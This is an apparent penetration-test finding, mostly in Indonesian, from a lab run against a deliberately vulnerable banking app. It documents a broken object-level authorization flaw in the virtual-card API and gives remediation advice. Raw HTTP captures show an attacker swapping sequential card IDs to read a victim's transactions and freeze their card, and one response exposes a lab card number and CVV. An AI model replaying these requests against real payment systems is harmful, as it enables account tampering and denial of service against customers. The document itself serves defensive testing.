Skenario 06 / 26FAIL
Broken Object Level Authorization - Virtual Cards - Card Operations
Lingkungan lab — bukan sistem produksi
Tangkapan layar dan trafik mentah tidak diterjemahkan; teks di dalamnya mungkin menggunakan bahasa lain.
vuln-bank/Evidence/[FAIL] Broken Object Level Authorization - Virtual Cards - Card Operations
01 — Catatan
Catatan pengujian
Kerentanan
[FAIL] Broken Object Level Authorization - Virtual Cards - Card Operations
Deskripsi
Endpoint kartu virtual menerima card_id dari path URL dan mengoperasikannya tanpa memverifikasi bahwa kartu tersebut milik pemegang token. Identifier kartu berupa bilangan bulat berurutan sehingga mudah dienumerasi.
Dampak
Confidentiality + Integrity (High): pengguna terautentikasi mana pun dapat membaca riwayat transaksi kartu virtual milik nasabah lain dan mengubah statusnya. Pada pengujian, penyerang membekukan kartu milik korban, yang merupakan penolakan layanan terhadap instrumen pembayaran korban. Endpoint sejenis pada modul yang sama juga mengizinkan perubahan limit dan pengisian dana.
CWE
CWE-639: Authorization Bypass Through User-Controlled Key
OWASP
A01:2021 - Broken Access Control
Skenario
Normal: penyerang mengakses riwayat transaksi kartunya sendiri -> berhasil. Eksploitasi: penyerang mengganti card_id menjadi milik korban -> HTTP 200, riwayat kartu korban terbaca. Dampak: penyerang memanggil toggle-freeze pada kartu korban -> kartu korban berhasil dibekukan dan status is_frozen true terlihat dari sesi korban.
Endpoint
GET http://127.0.0.1:5001/api/virtual-cards/<card_id>/transactions
POST http://127.0.0.1:5001/api/virtual-cards/<card_id>/toggle-freeze
Fitur terdampak
Kartu virtual (riwayat transaksi, pembekuan kartu, limit, top-up)
Rekomendasi perbaikan
- Verifikasi kepemilikan objek pada setiap permintaan: cocokkan card_id dengan user_id dari token sebelum membaca atau mengubah.
- Terapkan pemeriksaan otorisasi terpusat pada seluruh endpoint kartu, bukan per handler.
- Gunakan UUID acak sebagai identifier kartu agar tidak dapat dienumerasi.
- Catat dan pantau percobaan akses lintas objek.
Bukti konsep
1) (Screenshot 1) NORMAL: penyerang membaca riwayat kartu miliknya sendiri -> berhasil.
2) (Screenshot 2) EKSPLOITASI: penyerang membaca riwayat kartu milik korban -> HTTP 200, data korban terekspos.
3) (Screenshot 3) EKSPLOITASI: penyerang membekukan kartu korban -> Card frozen successfully.
4) (Screenshot 4) DAMPAK CIA: dari sesi korban, kartu miliknya tampak is_frozen true akibat aksi penyerang.
Lihat catatan sumber (bahasa Indonesia)
Vulnerability:
[FAIL] Broken Object Level Authorization - Virtual Cards - Card Operations
Description:
Endpoint kartu virtual menerima card_id dari path URL dan mengoperasikannya tanpa memverifikasi bahwa kartu tersebut milik pemegang token. Identifier kartu berupa bilangan bulat berurutan sehingga mudah dienumerasi.
Impact:
Confidentiality + Integrity (High): pengguna terautentikasi mana pun dapat membaca riwayat transaksi kartu virtual milik nasabah lain dan mengubah statusnya. Pada pengujian, penyerang membekukan kartu milik korban, yang merupakan penolakan layanan terhadap instrumen pembayaran korban. Endpoint sejenis pada modul yang sama juga mengizinkan perubahan limit dan pengisian dana.
CWE:
CWE-639: Authorization Bypass Through User-Controlled Key
OWASP:
A01:2021 - Broken Access Control
Scenario:
Normal: penyerang mengakses riwayat transaksi kartunya sendiri -> berhasil. Eksploitasi: penyerang mengganti card_id menjadi milik korban -> HTTP 200, riwayat kartu korban terbaca. Dampak: penyerang memanggil toggle-freeze pada kartu korban -> kartu korban berhasil dibekukan dan status is_frozen true terlihat dari sesi korban.
Endpoint:
GET http://127.0.0.1:5001/api/virtual-cards/<card_id>/transactions
POST http://127.0.0.1:5001/api/virtual-cards/<card_id>/toggle-freeze
Affected Feature:
Kartu virtual (riwayat transaksi, pembekuan kartu, limit, top-up)
Remediation:
- Verifikasi kepemilikan objek pada setiap permintaan: cocokkan card_id dengan user_id dari token sebelum membaca atau mengubah.
- Terapkan pemeriksaan otorisasi terpusat pada seluruh endpoint kartu, bukan per handler.
- Gunakan UUID acak sebagai identifier kartu agar tidak dapat dienumerasi.
- Catat dan pantau percobaan akses lintas objek.
POC:
1) (Screenshot 1) NORMAL: penyerang membaca riwayat kartu miliknya sendiri -> berhasil.
2) (Screenshot 2) EKSPLOITASI: penyerang membaca riwayat kartu milik korban -> HTTP 200, data korban terekspos.
3) (Screenshot 3) EKSPLOITASI: penyerang membekukan kartu korban -> Card frozen successfully.
4) (Screenshot 4) DAMPAK CIA: dari sesi korban, kartu miliknya tampak is_frozen true akibat aksi penyerang.
02 — Tangkapan layar
Tangkapan layar (4)
03 — Request dan response
Rekaman HTTP
Sebagian nilai kredensial disamarkan pada tampilan HTML publik ini. Penyamaran ini tidak menjamin bahwa seluruh data sensitif atau berkas tertaut sudah disamarkan.
REKAMAN 01 / 1
GET /api/virtual-cards/2/transactions HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 49
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:06 GMT
{
"status": "success",
"transactions": []
}REKAMAN 02 / 2
GET /api/virtual-cards/3/transactions HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 49
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:07 GMT
{
"status": "success",
"transactions": []
}REKAMAN 03 / 3
POST /api/virtual-cards/3/toggle-freeze HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 68
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:08 GMT
{
"message": "Card frozen successfully",
"status": "success"
}REKAMAN 04 / 4
GET /api/virtual-cards HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 433
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:09 GMT
{
"cards": [
{
"balance": 0.0,
"card_number": "3706522538531775",
"card_type": "standard",
"created_at": "2026-09-30 03:02:06.091644",
"currency": "USD",
"currency_symbol": "$",
"cvv": "948",
"expiry_date": "09/27",
"id": 3,
"is_active": true,
"is_frozen": true,
"last_used_at": null,
"limit": 1000.0
}
],
"status": "success"
}